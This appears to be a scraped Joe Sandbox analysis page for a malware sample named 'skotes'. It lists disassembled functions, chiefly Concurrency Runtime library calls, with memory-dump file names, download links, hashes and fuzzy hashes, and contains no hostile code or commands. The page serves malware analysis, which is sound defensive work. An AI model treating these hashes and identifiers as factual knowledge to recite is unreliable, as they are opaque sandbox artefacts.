Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 0021ECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 0021ECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 0021ED0C

Part of subcall function 0021E7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 0021E7D7
Part of subcall function 0021E7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0021E86F
Part of subcall function 0021E7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0021E879
Part of subcall function 0021E7AF: Concurrency::location::_Assign.LIBCMT ref: 0021E8AD
Part of subcall function 0021E7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0021E8B5

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: 2f885546046d4d88d0c12999d735e48a8e95544670a31ae41361b6adf95dd3be
Instruction ID: 1bffa19d7ce086d7d27631c40d2cb1d0239da5312d926688642315cf4bc21cc3
Opcode Fuzzy Hash: 2f885546046d4d88d0c12999d735e48a8e95544670a31ae41361b6adf95dd3be
Instruction Fuzzy Hash: 4851B031A20205ABDF14DF50DC99BEDB7B5AF94310F154069ED022B3D2CB70AE95CB91

Function 0020CB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 0020CBAA

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: b027920b13260928c942710770da52af82a125124e7ea4dd8933a5fda3580d48
Instruction ID: 3263bb633dc587df8ba7647414b20e67689f2bc2a9c335e2320a33f4262a65f4
Opcode Fuzzy Hash: b027920b13260928c942710770da52af82a125124e7ea4dd8933a5fda3580d48
Instruction Fuzzy Hash: 83B09232A27A3047CA516B14BC5C59E7B189B81A1230A0256DD01A72A48A605D824BD8

Function 0020DD91 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2642b200242010ca8b9ffda5df60557ddd8f61aa4d5a44fb2b145ecd151d0ec3
Instruction ID: f5a2b23405954a01d255c6d4ba7c3267540af3cff5af303d76e5ca48b9b5dca8
Opcode Fuzzy Hash: 2642b200242010ca8b9ffda5df60557ddd8f61aa4d5a44fb2b145ecd151d0ec3
Instruction Fuzzy Hash: 6C51D0B2912717CBDB25CF98E8987AAB7F0FB58311F24852AC405EB295D370A910CF50

Function 0020F028 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 229COMMONLIBRARYCODE

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 0020F2BB

Strings

pEvents, xrefs: 0020F2B3

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pEvents
API String ID: 2141394445-2498624650
Opcode ID: d0b250c6b1372df305603a12f3a20ac7237cbb9262bd711847c47eef781b9646
Instruction ID: 51b23193a46fc46ccfb8c223f6ee5900a8211340f74fe9518b1c69c3539078b3
Opcode Fuzzy Hash: d0b250c6b1372df305603a12f3a20ac7237cbb9262bd711847c47eef781b9646
Instruction Fuzzy Hash: 1381BE31DA0319CFCF64DFA8CA81BAEB7B5AF15310F144429E801A76C3D774A965CB90

Function 002226D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 002226E3

Part of subcall function 002224E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00222504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00222704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00222711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 0022275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 002227E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 002227F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 00222846

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: a0e6f7325f2ef3b5e1ec709a589fc4d13444976a17a7af7a75857d8f6f97b866
Instruction ID: 204f7b7fff9b01eaf1070afaef223d65533997d39d605c0dfdcbb3ca02131d6e
Opcode Fuzzy Hash: a0e6f7325f2ef3b5e1ec709a589fc4d13444976a17a7af7a75857d8f6f97b866
Instruction Fuzzy Hash: 5B81AC3481426AFBDF169F94E940BBEBBB2AF15304F040098EC412B252C7778D79DB62

Function 00222970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00222982

Part of subcall function 002224E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00222504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 002229A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 002229B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 002229FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 00222AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 00222AD8

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
